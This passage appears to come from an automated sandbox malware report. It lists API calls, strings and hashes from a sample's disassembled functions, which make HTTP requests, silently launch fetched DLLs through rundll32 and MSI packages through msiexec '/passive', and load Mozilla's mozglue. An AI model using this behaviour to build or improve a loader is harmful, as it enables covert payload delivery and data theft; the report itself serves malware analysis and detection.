Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 49694eacf6d4bfc2f74065e18002e115164660b561a079069c68eea4fd48265e
Instruction ID: e45f8c846cf33d817dd678824dc188f2db0c434330dbe98531ab6813f1796ff0
Opcode Fuzzy Hash: 49694eacf6d4bfc2f74065e18002e115164660b561a079069c68eea4fd48265e
Instruction Fuzzy Hash: 1A71CAB5910208EBDB04EBE8DD89FEEB7B9BF58700F108508F515AB290DB74A905DF61

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 003317A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 003317C5
ExitProcess.KERNEL32 ref: 003317D1

Strings

block, xrefs: 003317B7

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 4d70532e4989d4fa28610369aaf7a83619f80b8b87e14fc8e79aae8b09c179f9
Instruction ID: 55d9377bae5ae00f77a6450b336ab1b05b786a1765ac4fe20be3e8b8252bf75a
Opcode Fuzzy Hash: 4d70532e4989d4fa28610369aaf7a83619f80b8b87e14fc8e79aae8b09c179f9
Instruction Fuzzy Hash: E35158B4B04209EFCB06DFA4D994BBE77B9BF44704F108048E906AB251D770E955DBA2

Function 00332E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

ShellExecuteEx.SHELL32(0000003C), ref: 003331C5
ShellExecuteEx.SHELL32(0000003C), ref: 0033335D
ShellExecuteEx.SHELL32(0000003C), ref: 003334EA

Strings

<, xrefs: 00333490
/i ", xrefs: 003333E4
/passive, xrefs: 0033345B
C:\Windows\system32\rundll32.exe, xrefs: 00333332
"" , xrefs: 0033309A
.msi, xrefs: 00333398
.dll, xrefs: 003331E5
C:\Windows\system32\msiexec.exe, xrefs: 003334BF

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 89544e427a4bffde80baf5f30eb749e72c8fe2ab215e3f0af4cf3ee1e663db71
Instruction ID: 953e988e7a435edcbc873cc2f44d453ce298e16688c2c287ee20b57c00cff136
Opcode Fuzzy Hash: 89544e427a4bffde80baf5f30eb749e72c8fe2ab215e3f0af4cf3ee1e663db71
Instruction Fuzzy Hash: 1912E071810608AADB1AEBA0DCD2FDEB778AF14300F504159F5467E191EF742B4ADF92

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 003352C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0033A7E6

Part of subcall function 00326280: InternetOpenA.WININET(00340DFE,00000001,00000000,00000000,00000000), ref: 003262E1
Part of subcall function 00326280: StrCmpCA.SHLWAPI(?,00F2E9A0), ref: 00326303
Part of subcall function 00326280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00326335
Part of subcall function 00326280: HttpOpenRequestA.WININET(00000000,GET,?,00F2E4D0,00000000,00000000,00400100,00000000), ref: 00326385
Part of subcall function 00326280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 003263BF
Part of subcall function 00326280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 003263D1

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00335318
lstrlen.KERNEL32(00000000), ref: 0033532F

Part of subcall function 00338E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00338E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00335364
lstrlen.KERNEL32(00000000), ref: 00335383
lstrlen.KERNEL32(00000000), ref: 003353AE

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Strings

ERROR, xrefs: 0033546F
ERROR, xrefs: 0033530A
ERROR, xrefs: 003353B9
ERROR, xrefs: 00335432
ERROR, xrefs: 003354A9

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: b17ba2f9765f1d86fa615810de4223064080c7aa446483c6885024e9ac26dfdd
Instruction ID: 74e1d4db4b419f01656b19f00f8cb44b62d07ebda98ade616ca21128552f5c41
Opcode Fuzzy Hash: b17ba2f9765f1d86fa615810de4223064080c7aa446483c6885024e9ac26dfdd
Instruction Fuzzy Hash: AA511030910648ABDB1AFF64DDD6AED7779AF10300F504018F4466F592DF386B46DBA2

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C653508
kernel32.dll, xrefs: 6C6534EA

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 003312D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 3b2fb80dd84088148c446678eddee0a03bd0bc5fdb9434d66c20dcddb36f4860
Instruction ID: 142abc4b15f6a96d58b98211bf2d93cf9099e587fad85663d5488e98d733744e
